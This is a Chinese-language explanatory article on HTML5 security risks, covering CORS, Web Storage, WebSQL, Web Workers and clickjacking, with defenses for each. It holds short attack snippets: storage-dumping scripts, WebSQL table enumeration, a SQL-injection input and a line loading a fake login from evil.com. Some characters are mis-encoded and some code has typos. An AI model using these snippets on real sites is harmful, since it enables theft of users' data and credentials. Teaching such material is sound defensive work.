- 相關(guān)推薦
HTML5的安全風(fēng)險(xiǎn)詳析
關(guān)于HTML5存在的安全風(fēng)險(xiǎn)你了解多少?下面YJBYS小編為大家詳細(xì)解析一下HTML5的安全風(fēng)險(xiǎn)!希望對(duì)大家有所幫助!
一、CORS攻擊
CORS-CrossOrigin Resources Sharing，也即跨源資源共享，它定義了一種瀏覽器和服務(wù)器交互的方式來(lái)確定是否允許跨域請(qǐng)求。它是一個(gè)妥協(xié)，有更大的靈活性，但比起簡(jiǎn)單地允許所有這些的要求來(lái)說(shuō)更加安全。簡(jiǎn)言之，CORS就是為了讓AJAX可以實(shí)現(xiàn)可控的跨域訪(fǎng)問(wèn)而生的。
一、從SOP到CORS
SOP就是Same Origin Policy同源策略，指一個(gè)域的文檔或腳本，不能獲取或修改另一個(gè)域的文檔的屬性。也就是Ajax不能跨域訪(fǎng)問(wèn)，我們之前的Web資源訪(fǎng)問(wèn)的根本策略都是建立在SOP上的。它導(dǎo)致很多web開(kāi)發(fā)者很痛苦，后來(lái)搞出很多跨域方案，比如JSONP和flash socket。如下圖所示：
后來(lái)出現(xiàn)了CORS-CrossOrigin Resources Sharing，也即跨源資源共享，它定義了一種瀏覽器和服務(wù)器交互的方式來(lái)確定是否允許跨域請(qǐng)求。它是一個(gè)妥協(xié)，有更大的靈活性，但比起簡(jiǎn)單地允許所有這些的要求來(lái)說(shuō)更加安全。簡(jiǎn)言之，CORS就是為了讓AJAX可以實(shí)現(xiàn)可控的跨域訪(fǎng)問(wèn)而生的。示意如下圖所示：
現(xiàn)在W3C的官方文檔目前還是工作草案，但是正在朝著W3C推薦的方向前進(jìn)。不過(guò)目前許多現(xiàn)代瀏覽器都提供了對(duì)它的支持。
服務(wù)器端對(duì)于CORS的支持，主要就是通過(guò)設(shè)置Access-Control-Allow-Origin來(lái)進(jìn)行的。如果瀏覽器檢測(cè)到相應(yīng)的設(shè)置，就可以允許Ajax進(jìn)行跨域的訪(fǎng)問(wèn)。例如：
Access–Control-Allow-Origin
應(yīng)用CORS的系統(tǒng)目前包括Face.com、GoogleCloudStorage API等，主要是為開(kāi)放平臺(tái)向第三方提供訪(fǎng)問(wèn)的能力。
二、CORS帶來(lái)的風(fēng)險(xiǎn)
CORS非常有用，可以共享許多內(nèi)容，不過(guò)這里存在風(fēng)險(xiǎn)。因?yàn)樗耆且粋�(gè)盲目的協(xié)議，只是通過(guò)HTTP頭來(lái)控制。
它的風(fēng)險(xiǎn)包括：
1、HTTP頭只能說(shuō)明請(qǐng)求來(lái)自一個(gè)特定的域，但是并不能保證這個(gè)事實(shí)。因?yàn)镠TTP頭可以被偽造。
所以未經(jīng)身份驗(yàn)證的跨域請(qǐng)求應(yīng)該永遠(yuǎn)不會(huì)被信任。如果一些重要的功能需要暴露或者返回敏感信息，應(yīng)該需要驗(yàn)證Session ID。
2、第三方有可能被入侵
舉一個(gè)場(chǎng)景，F(xiàn)riendFeed通過(guò)跨域請(qǐng)求訪(fǎng)問(wèn)Twitter，F(xiàn)riendFeed請(qǐng)求tweets、提交tweets并且執(zhí)行一些用戶(hù)操作，Twitter提供響應(yīng)。兩者都互相相信對(duì)方，所以FriendFeed并不驗(yàn)證獲取數(shù)據(jù)的有效性，Twitter也針對(duì)Twitter開(kāi)放了大部分的功能。
但是當(dāng)如果Twitter被入侵后：
FriendFeed總是從Twitter獲取數(shù)據(jù)，沒(méi)有經(jīng)過(guò)編碼或者驗(yàn)證就在頁(yè)面上顯示這些信息。但是Twitter被入侵后，這些數(shù)據(jù)就可能是有害的。
或者FriendFeed被入侵時(shí)：
Twitter響應(yīng)FriendFeed的請(qǐng)求，例如發(fā)表Tweets、更換用戶(hù)名甚至刪除賬戶(hù)。當(dāng)FriendFeed被入侵后，攻擊者可以利用這些請(qǐng)求來(lái)篡改用戶(hù)數(shù)據(jù)。
所以對(duì)于請(qǐng)求方來(lái)說(shuō)驗(yàn)證接收的數(shù)據(jù)有效性和服務(wù)方僅暴露最少最必須的功能是非常重要的。
3、惡意跨域請(qǐng)求
即便頁(yè)面只允許來(lái)自某個(gè)信任網(wǎng)站的請(qǐng)求，但是它也會(huì)收到大量來(lái)自其他域的跨域請(qǐng)求。.這些請(qǐng)求有時(shí)可能會(huì)被用于執(zhí)行應(yīng)用層面的DDOS攻擊，并不應(yīng)該被應(yīng)用來(lái)處理。
例如，考慮一個(gè)搜索頁(yè)面。當(dāng)通過(guò)'%'參數(shù)請(qǐng)求時(shí)搜索服務(wù)器會(huì)返回所有的記錄，這可能是一個(gè)計(jì)算繁重的要求。要擊垮這個(gè)網(wǎng)站，攻擊者可以利用XSS漏洞將JavaScript腳本注入某個(gè)公共論壇中，當(dāng)用戶(hù)訪(fǎng)問(wèn)這個(gè)論壇時(shí)，使用它的瀏覽器重復(fù)執(zhí)行這個(gè)到服務(wù)器的搜索請(qǐng)求�；蛘呒词共徊捎每缬蛘�(qǐng)求，使用一個(gè)目標(biāo)地址包含請(qǐng)求參數(shù)的圖像元素也可以達(dá)到同樣的目的。如果可能的話(huà)，攻擊者甚至可以創(chuàng)建一個(gè)WebWorker執(zhí)行這種攻擊。這會(huì)消耗服務(wù)器大量的資源。
有效的解決辦法是通過(guò)多種條件屏蔽掉非法的請(qǐng)求，例如HTTP頭、參數(shù)等。
4、內(nèi)部信息泄漏
假定一個(gè)內(nèi)部站點(diǎn)開(kāi)啟了CORS，如果內(nèi)部網(wǎng)絡(luò)的用戶(hù)訪(fǎng)問(wèn)了惡意網(wǎng)站，惡意網(wǎng)站可以通過(guò)COR(跨域請(qǐng)求)來(lái)獲取到內(nèi)部站點(diǎn)的內(nèi)容。
5、針對(duì)用戶(hù)的攻擊
上面都是針對(duì)服務(wù)器的攻擊，風(fēng)險(xiǎn)5則針對(duì)用戶(hù)。比方說(shuō)，攻擊者已經(jīng)確定了你可以全域訪(fǎng)問(wèn)的productsearch.php頁(yè)面上存在SQL注入漏洞。 攻擊者并不是直接從它們的系統(tǒng)數(shù)據(jù)庫(kù)中獲取數(shù)據(jù)，他們可能會(huì)編寫(xiě)一個(gè)JavaScript數(shù)據(jù)采集腳本，并在自己的網(wǎng)站或者存在XSS問(wèn)題的網(wǎng)站上插入這段腳本。當(dāng)受害者訪(fǎng)問(wèn)含有這種惡意JavaScript腳本的網(wǎng)站時(shí)，它的瀏覽器將執(zhí)行針對(duì)“productsearch.php”的SQL注入攻擊，采集所有的數(shù)據(jù)并發(fā)送給攻擊者。檢查服務(wù)器日志顯示是受害人執(zhí)行了攻擊，因?yàn)槌藖?lái)自Referrer的HTTP頭一般沒(méi)有其他日志記錄。受害者并不能說(shuō)他的系統(tǒng)被攻破，因?yàn)闆](méi)有任何任何惡意軟件或系統(tǒng)泄漏的痕跡。
三、攻擊工具
四、防御之道
1、不信任未經(jīng)身份驗(yàn)證的跨域請(qǐng)求，應(yīng)該首先驗(yàn)證Session ID或者Cookie。
2、對(duì)于請(qǐng)求方來(lái)說(shuō)驗(yàn)證接收的數(shù)據(jù)有效性，服務(wù)方僅暴露最少最必須的功能。
3、通過(guò)多種條件屏蔽掉非法的請(qǐng)求，例如HTTP頭、參數(shù)等。
二、Web Storage攻擊
HTML5支持WebStorage，開(kāi)發(fā)者可以為應(yīng)用創(chuàng)建本地存儲(chǔ)，存儲(chǔ)一些有用的信息。例如LocalStorage可以長(zhǎng)期存儲(chǔ)，而且存放空間很大，一般是5M，極大的解決了之前只能用Cookie來(lái)存儲(chǔ)數(shù)據(jù)的容量小、存取不便、容易被清除的問(wèn)題。這個(gè)功能為客戶(hù)端提供了極大的靈活性。
一、WebStorage簡(jiǎn)介
HTML5支持WebStorage，開(kāi)發(fā)者可以為應(yīng)用創(chuàng)建本地存儲(chǔ)，存儲(chǔ)一些有用的信息。例如LocalStorage可以長(zhǎng)期存儲(chǔ)，而且存放空間很大，一般是5M，極大的解決了之前只能用Cookie來(lái)存儲(chǔ)數(shù)據(jù)的容量小、存取不便、容易被清除的問(wèn)題。這個(gè)功能為客戶(hù)端提供了極大的靈活性。
二、攻擊方式
LocalStorage的API都是通過(guò)JavaScript提供的，這樣攻擊者可以通過(guò)XSS攻擊竊取信息，例如用戶(hù)token或者資料。攻擊者可以用下面的腳本遍歷本地存儲(chǔ)。
if(localStorage.length){
for(I in localStorage) {
console.log(i);
console.log(localStorage.getItem(i));
}
}
同時(shí)要提一句，LocalStorage并不是唯一暴露本地信息的方式。我們現(xiàn)在很多開(kāi)發(fā)者有一個(gè)不好的習(xí)慣，為了方便，把很多關(guān)鍵信息放在全局變量里，例如用戶(hù)名、密碼、郵箱等等。數(shù)據(jù)不放在合適的作用域里會(huì)帶來(lái)嚴(yán)重的安全問(wèn)題，例如我們可以用下面的腳本遍歷全局變量來(lái)獲取信息。
for(iin window) {
obj=window[i];
if(obj!=null||obj!=undefined)
var type =typeof(obj);
if(type=="object"||type=="string") {
console.log(“Name:”+i);
try {
my = JSON.stringify(obj);
console.log(my);
} catch(ex) {}
}
}
三、攻擊工具
HTML5dump的定義是“JavaScriptthat dump all HTML5 local storage”，它也能輸出HTML5 SessionStorage、全局變量、LocalStorage和本地?cái)?shù)據(jù)庫(kù)存儲(chǔ)。
Shell of the Future是一個(gè)反向WebShell處理器，它利用HTML5的跨站請(qǐng)求來(lái)劫持會(huì)話(huà)。
四、防御之道
對(duì)于WebStorage攻擊的防御措施是：
1、數(shù)據(jù)放在合適的作用域里
例如用戶(hù)sessionID就不要用LocalStorage存儲(chǔ)，而需要放在sessionStorage里。而用戶(hù)數(shù)據(jù)不要儲(chǔ)存在全局變量里，而應(yīng)該放在臨時(shí)變量或者局部變量里。
2、不要存儲(chǔ)敏感的信息
因?yàn)槲覀兛傄矡o(wú)法知道頁(yè)面上是否會(huì)存在一些安全性的問(wèn)題，一定不要將重要的數(shù)據(jù)存儲(chǔ)在WebStorage里。
三、WebSQL攻擊
數(shù)據(jù)庫(kù)安全一直是后端人員廣泛關(guān)注和需要預(yù)防的問(wèn)題。但是自從HTML5引入本地?cái)?shù)據(jù)庫(kù)和WebSQL之后，前端開(kāi)發(fā)對(duì)于數(shù)據(jù)庫(kù)的安全也必須要有所了解和警惕。WebSQL的安全問(wèn)題通常表現(xiàn)為兩個(gè)部分。
一、WebSQL安全風(fēng)險(xiǎn)簡(jiǎn)介
數(shù)據(jù)庫(kù)安全一直是后端人員廣泛關(guān)注和需要預(yù)防的問(wèn)題。但是自從HTML5引入本地?cái)?shù)據(jù)庫(kù)和WebSQL之后，前端開(kāi)發(fā)對(duì)于數(shù)據(jù)庫(kù)的安全也必須要有所了解和警惕。WebSQL的安全問(wèn)題通常表現(xiàn)為兩個(gè)部分：
第一種是SQL注入：和本地?cái)?shù)據(jù)庫(kù)一樣，攻擊者可以通過(guò)SQL注入點(diǎn)來(lái)進(jìn)行數(shù)據(jù)庫(kù)攻擊。
另外一方面，如果Web App有XSS漏洞，那么本地?cái)?shù)據(jù)很容易泄漏，可以想想本地?cái)?shù)據(jù)庫(kù)里存儲(chǔ)了用戶(hù)最近交易記錄或者私信的情況。
二、WebSQL安全風(fēng)險(xiǎn)詳析
1、SQL注入
例如我們有一個(gè)URL為http:/blog.csdn.net/hfahe?id=1，它接收了一個(gè)id參數(shù)來(lái)進(jìn)行本地?cái)?shù)據(jù)庫(kù)查詢(xún)并輸出，對(duì)應(yīng)的SQL語(yǔ)句為“select name from user where id = 1”。
但是針對(duì)這個(gè)簡(jiǎn)單的SQL查詢(xún)，攻擊者可以構(gòu)造一個(gè)虛假的輸入數(shù)據(jù)“1 or 1 = 1”，那么我們的SQL語(yǔ)句將變?yōu)?ldquo;select name from user where id = 1 or 1 = 1”。這就相當(dāng)糟糕了，因?yàn)?=1這個(gè)條件總是成立的，那么這條語(yǔ)句將遍歷數(shù)據(jù)庫(kù)user表里的所有記錄并進(jìn)行輸出。
利用這種方式，攻擊者可以構(gòu)造多種攻擊的SQL語(yǔ)句，來(lái)操縱用戶(hù)的本地?cái)?shù)據(jù)庫(kù)記錄。
2、XSS與數(shù)據(jù)庫(kù)操縱
在有XSS漏洞的情況下，攻擊者獲取本地?cái)?shù)據(jù)需要如下幾個(gè)步驟：
1)獲取JavaScript數(shù)據(jù)庫(kù)對(duì)象
2)獲取SQLite上的表結(jié)構(gòu)
3)獲取數(shù)據(jù)表名
4)操作數(shù)據(jù)
例如如下腳本完整的實(shí)現(xiàn)了上面的步驟，我在Chrome控制臺(tái)里運(yùn)行即可得到用戶(hù)本地?cái)?shù)據(jù)庫(kù)的表名，利用這個(gè)表名攻擊者可以用任何SQL語(yǔ)句來(lái)完成攻擊。
var dbo;
var table;
var usertable;
for(i in window) {
obj = window[i];
try {
if(obj.constructor.name=="Database"){
dbo = obj;
obj.transaction(function(tx){
tx.executeSql('SELECT name FROM sqlite_master WHERE type=\'table\'', [], function(tx,results) {
table = results;
},null);
});
}
} catch(ex) {}
}
if(table.rows.length > 1)
usertable = table.rows.item(1).name;
三、防御之道
針對(duì)WebSQL攻擊，我們有如下方法預(yù)防：
1) 檢查輸入類(lèi)型，過(guò)濾危險(xiǎn)字符
我們需要保證輸入類(lèi)型符合預(yù)期，例如上面的id參數(shù)一定是數(shù)字類(lèi)型;同時(shí)過(guò)濾掉危險(xiǎn)的關(guān)鍵字和符號(hào)，像PHP里addslashes這個(gè)函數(shù)的作用一樣。
2) 在SQL語(yǔ)句中使用參數(shù)形式
SQL語(yǔ)句是可以用參數(shù)形式的，例如
executeSql("SELECTname FROM stud WHERE id=" + input_id)
這種字符串拼接的形式并不安全，可以換為
executeSql("SELECTname FROM stud WHERE id=?“, [input_id]);)
這樣能保證參數(shù)的輸入符合設(shè)定的類(lèi)型。
3)謹(jǐn)慎對(duì)待每一次SQL操作
無(wú)論是select、modify、update或者delete，你編寫(xiě)的任何一條SQL語(yǔ)句操作都有可能成為攻擊者的攻擊對(duì)象，造成重大損失，所以都必須要謹(jǐn)慎對(duì)待。
4)不要存儲(chǔ)重要數(shù)據(jù)
本地?cái)?shù)據(jù)庫(kù)永遠(yuǎn)透明而不安全，重要的數(shù)據(jù)必須要存儲(chǔ)在服務(wù)器上，本地?cái)?shù)據(jù)庫(kù)里沒(méi)有重要數(shù)據(jù)就不會(huì)對(duì)用戶(hù)造成重大損失。
5)杜絕XSS漏洞
XSS攻擊的防御將會(huì)在專(zhuān)門(mén)章節(jié)闡述，本文不展開(kāi)詳析。
四、Web Worker攻擊
由于JavaScript是單線(xiàn)程執(zhí)行的，在執(zhí)行過(guò)程中瀏覽器不能執(zhí)行其它JavaScript腳本，UI渲染線(xiàn)程也會(huì)被掛起，從而導(dǎo)致瀏覽器進(jìn)入僵死狀態(tài)。使用WebWorker可以將計(jì)算過(guò)程放入一個(gè)新線(xiàn)程里去執(zhí)行將避免這種情況的出現(xiàn)。
一、WebWorker介紹
由于JavaScript是單線(xiàn)程執(zhí)行的，在執(zhí)行過(guò)程中瀏覽器不能執(zhí)行其它JavaScript腳本，UI渲染線(xiàn)程也會(huì)被掛起，從而導(dǎo)致瀏覽器進(jìn)入僵死狀態(tài)。使用WebWorker可以將計(jì)算過(guò)程放入一個(gè)新線(xiàn)程里去執(zhí)行將避免這種情況的出現(xiàn)。這樣我們可以同時(shí)執(zhí)行多個(gè)JS任務(wù)而不會(huì)阻塞瀏覽器，非常適合異步交互和大規(guī)模計(jì)算，這在以前是很難做到的。
下面一張圖形象的揭示了WebWorker的作用：沒(méi)有WebWorker時(shí)，如果我們要煎一個(gè)雞蛋餅，需要先和面粉，然后打雞蛋，最后才能煎餅;使用WebWorker，可以在和面粉的同時(shí)打雞蛋，這兩者同時(shí)進(jìn)行，都完成后就能開(kāi)始煎餅，極大的縮短了等待的時(shí)間。
但是這樣一個(gè)好的特性也會(huì)引入攻擊的可能。
二、WebWorker攻擊
1、Botnet
攻擊的方式包括DDos攻擊、發(fā)送垃圾郵件，用戶(hù)一旦訪(fǎng)問(wèn)惡意頁(yè)面或者網(wǎng)站時(shí)，頁(yè)面的惡意代碼就能把用戶(hù)的瀏覽器當(dāng)作肉雞，利用WebWorker大規(guī)模執(zhí)行多線(xiàn)程攻擊，例如DDos攻擊、發(fā)送垃圾郵件或者進(jìn)行網(wǎng)絡(luò)嗅探。
DDOS攻擊(分布式拒絕服務(wù)攻擊)
2、postMessage帶來(lái)的問(wèn)題
WebWorker無(wú)法訪(fǎng)問(wèn)DOM，只能通過(guò)postMessageAPI和主線(xiàn)程通信。postMessage在HTML5中被引入，用來(lái)解決跨域或者跨線(xiàn)程數(shù)據(jù)交互的問(wèn)題。但是如果messaging可以接收任何來(lái)源的信息，此頁(yè)面有可能會(huì)被攻擊;另外postMessage不通過(guò)服務(wù)器，如果不經(jīng)過(guò)驗(yàn)證和過(guò)濾，可能成為XSS注入點(diǎn)。例如如下代碼沒(méi)有對(duì)輸入數(shù)據(jù)進(jìn)行驗(yàn)證和清洗，攻擊者完全可以構(gòu)造惡意的data來(lái)注入頁(yè)面DOM，構(gòu)造XSS攻擊，形如“>”等等。
worker.addEventListener(‘message’,function(e) {
document.getElementById(‘result’).innerHTML = e.data;
}, false);
三、攻擊工具
Ravan是一個(gè)JS的分布式計(jì)算系統(tǒng)，可以用HTML5Web Worker通過(guò)后臺(tái)加密的JS多線(xiàn)程腳本來(lái)執(zhí)行蠻力攻擊。
四、預(yù)防之道
1、對(duì)于用戶(hù)來(lái)說(shuō)，不要訪(fǎng)問(wèn)不安全的站點(diǎn)。
2、使用postMessage時(shí)需要驗(yàn)證來(lái)源可信;另外不要使用innerHTML，現(xiàn)代瀏覽器提供了textContent屬性，可以幫助對(duì)HTML標(biāo)簽進(jìn)行過(guò)濾，或者你可以自行編寫(xiě)過(guò)濾的邏輯和函數(shù)。
五、劫持攻擊
下面我們要講到一類(lèi)的HTML5安全問(wèn)題，也就是劫持的問(wèn)題。
一、ClickJacking-點(diǎn)擊劫持
這種攻擊方式正變得越來(lái)越普遍。被攻擊的頁(yè)面作為iframe，用Mask的方式設(shè)置為透明放在上層，惡意代碼偷偷地放在后面的頁(yè)面中，使得一個(gè)頁(yè)面看起來(lái)似乎是安全的，然后誘騙用戶(hù)點(diǎn)擊網(wǎng)頁(yè)上的內(nèi)容，達(dá)到竊取用戶(hù)信息或者劫持用戶(hù)操作的目的。下圖中，欺詐的頁(yè)面放置在下層，被攻擊的銀行頁(yè)面作為透明的層放置在上層，用戶(hù)看到的是欺詐頁(yè)面上顯示的信息并進(jìn)行輸入和點(diǎn)擊，但是真正的用戶(hù)行為是發(fā)生在銀行頁(yè)面上的。
想象一下，點(diǎn)擊劫持可以誘使你發(fā)布一條虛假微博、或者發(fā)送一封虛假郵件甚至盜取你的個(gè)人信息。例如下圖可以誘使我們發(fā)布一條虛假的Twitter消息。
這里有一個(gè)測(cè)試工具clickjacktest可以檢測(cè)你的頁(yè)面是否有點(diǎn)擊劫持的風(fēng)險(xiǎn)，你可以輸入一個(gè)網(wǎng)址并點(diǎn)擊Test，如果頁(yè)面可以正常顯示并加載，那么表示這個(gè)頁(yè)面存在被點(diǎn)擊劫持攻擊的風(fēng)險(xiǎn)，如果頁(yè)面顯示為一片空白，那么表示頁(yè)面比較安全。
二、CookieJacking-Cookie劫持
ClickJacking只涉及點(diǎn)擊操作，但是HTML5的拖放API使得這種攻擊擴(kuò)大到拖放操作。因?yàn)楝F(xiàn)在Web應(yīng)用里，有大量需要用戶(hù)拖放完成的操作。在同源策略里，一個(gè)域的Cookie只能被本域所訪(fǎng)問(wèn)，但是拖放操作是不受同源策略限制的，這樣利用拖放操作、XSS和其他技巧，可以構(gòu)造跨域合法請(qǐng)求，劫持Cookie。
實(shí)現(xiàn)原理其實(shí)和ClickJacking類(lèi)似，只要欺騙用戶(hù)進(jìn)行拖放行為，就可以把用戶(hù)某個(gè)域的信息發(fā)送到另外一個(gè)域里。這個(gè)其實(shí)很容易做到，之前有一個(gè)研究者就在Facebook上建立了一個(gè)應(yīng)用，這個(gè)應(yīng)用的功能是讓用戶(hù)把圖片上美女的衣服拖拽下來(lái)。我想可能大多數(shù)人都會(huì)去嘗試而且不會(huì)有警惕心理。
我們應(yīng)當(dāng)如何防止ClickJacking、CookieJacking呢?
1、X-Frame-Options：所有的現(xiàn)代瀏覽器都支持X-Frame-Options HTTP頭，這個(gè)頭允許頁(yè)面被iframe使用時(shí)是否正常渲染。下圖中的頁(yè)面就是當(dāng)X-Frame-Options生效時(shí)的效果。
2、JavaScript方式
這種方式非常常見(jiàn)，具體代碼就是：
if (top !==window)
top.location = window.location.href;
Facebook和Twitter都使用了這種方式，但是這種方式并不是完全奏效的，例如攻擊者可以使用204轉(zhuǎn)向或者禁用JavaScript的方式來(lái)繞過(guò)(例如iframe沙箱)。
不過(guò)現(xiàn)在至少80%以上的網(wǎng)站都沒(méi)有注意到點(diǎn)擊劫持和cookie劫持的問(wèn)題并加以保護(hù)。我這篇文章的主要目的就是提醒大家注意到這種隱蔽的攻擊方式并有針對(duì)性的進(jìn)行防御。
三、CORJacking-跨域資源劫持
CORJacking是指跨源資源劫持。HTML5應(yīng)用有各種不同的資源，例如Flash文件，Silverligh，視頻，音頻等，這些資源可以通過(guò)DOM訪(fǎng)問(wèn)和控制。如果頁(yè)面存在XSS漏洞，那么攻擊者可能通過(guò)跨域資源的劫持進(jìn)行攻擊。例如下面的代碼載入了一個(gè)swf文件，作為用戶(hù)登錄框，這里面我們可以實(shí)現(xiàn)一些加密的邏輯。
當(dāng)頁(yè)面存在XSS漏洞時(shí)，攻擊者可以利用如下腳本把swf文件替換為欺詐的虛假資源。
document.getElementByName(‘Login’).item(0).src=‘http://evil.com/login.swf’;
那么當(dāng)用戶(hù)在這樣的登錄框里輸入自己的用戶(hù)名和密碼并登錄時(shí)，他的帳號(hào)就已經(jīng)被盜取了。
這個(gè)問(wèn)題在不同瀏覽器里面表現(xiàn)是不一致的，有興趣的朋友可以下去自行測(cè)試。
完結(jié)篇：HTML5對(duì)安全的改進(jìn)
HTML5對(duì)舊有的安全策略進(jìn)行了非常多的補(bǔ)充。HTML5為iframe元素增加了sandbox屬性防止不信任的Web頁(yè)面執(zhí)行某些操作，例如訪(fǎng)問(wèn)父頁(yè)面的DOM、執(zhí)行腳本、訪(fǎng)問(wèn)本地存儲(chǔ)或者本地?cái)?shù)據(jù)庫(kù)等等。
HTML5對(duì)舊有的安全策略進(jìn)行了非常多的補(bǔ)充。
一、iframe沙箱
HTML5為iframe元素增加了sandbox屬性防止不信任的Web頁(yè)面執(zhí)行某些操作，例如訪(fǎng)問(wèn)父頁(yè)面的DOM、執(zhí)行腳本、訪(fǎng)問(wèn)本地存儲(chǔ)或者本地?cái)?shù)據(jù)庫(kù)等等。但是這個(gè)安全策略又會(huì)帶來(lái)另外的風(fēng)險(xiǎn)，這很有趣，例如ClickJacking攻擊里阻止JavaScript腳本的運(yùn)行來(lái)繞過(guò)JavaScript的防御方式。
二、CSP內(nèi)容安全策略
XSS通過(guò)虛假內(nèi)容和誘騙點(diǎn)擊來(lái)繞過(guò)同源策略。 XSS攻擊的核心是利用了瀏覽器無(wú)法區(qū)分腳本是被第三方注入的，還是真的是你應(yīng)用程序的一部分。CSP定義了Content-Security-Policy HTTP頭來(lái)允許你創(chuàng)建一個(gè)可信來(lái)源的白名單，使得瀏覽器只執(zhí)行和渲染來(lái)自這些來(lái)源的資源，而不是盲目信任服務(wù)器提供的所有內(nèi)容。即使攻擊者可以找到漏洞來(lái)注入腳本，但是因?yàn)閬?lái)源不包含在白名單里，因此將不會(huì)被執(zhí)行。
三、XSS過(guò)濾器
Chrome、Safari這樣的現(xiàn)代瀏覽器也構(gòu)建了安全防御措施，在前端提供了XSS過(guò)濾器。例如http://test.jiangyujie.com/?text=
在Chrome中將無(wú)法得到執(zhí)行，如下圖所示。
四、其他
另外HTML5的應(yīng)用程序訪(fǎng)問(wèn)系統(tǒng)資源比Flash更受限制。
最后，關(guān)于HTML5專(zhuān)門(mén)的安全規(guī)范目前還在討論中，有的人希望分散到HTML5規(guī)范的各個(gè)章節(jié)，有的人希望單獨(dú)列出，目前沒(méi)有單獨(dú)的內(nèi)容，因?yàn)椴粌H要考慮Web App開(kāi)發(fā)者的安全，還要考慮實(shí)現(xiàn)HTML5支持的廠(chǎng)商，對(duì)它們進(jìn)行規(guī)范和指導(dǎo)。
我個(gè)人認(rèn)為HTML5的安全規(guī)范將會(huì)有一個(gè)統(tǒng)一的章節(jié)來(lái)進(jìn)行闡述，并在各個(gè)功能模塊相應(yīng)的提及。
【HTML5的安全風(fēng)險(xiǎn)詳析】相關(guān)文章：
詳析三層交換原理06-22
英語(yǔ)語(yǔ)法:副詞位置的總結(jié)詳析08-14
新西蘭留學(xué)各留學(xué)形式花費(fèi)詳析05-04
加拿大留學(xué)馬拉斯比納國(guó)際高中的推薦詳析05-09
OA系統(tǒng)都有哪些安全風(fēng)險(xiǎn)05-11
關(guān)于HTML5的新特性介紹05-24
HTML5的15個(gè)常用特性06-19
遼寧小吃水煎餅的做法詳06-06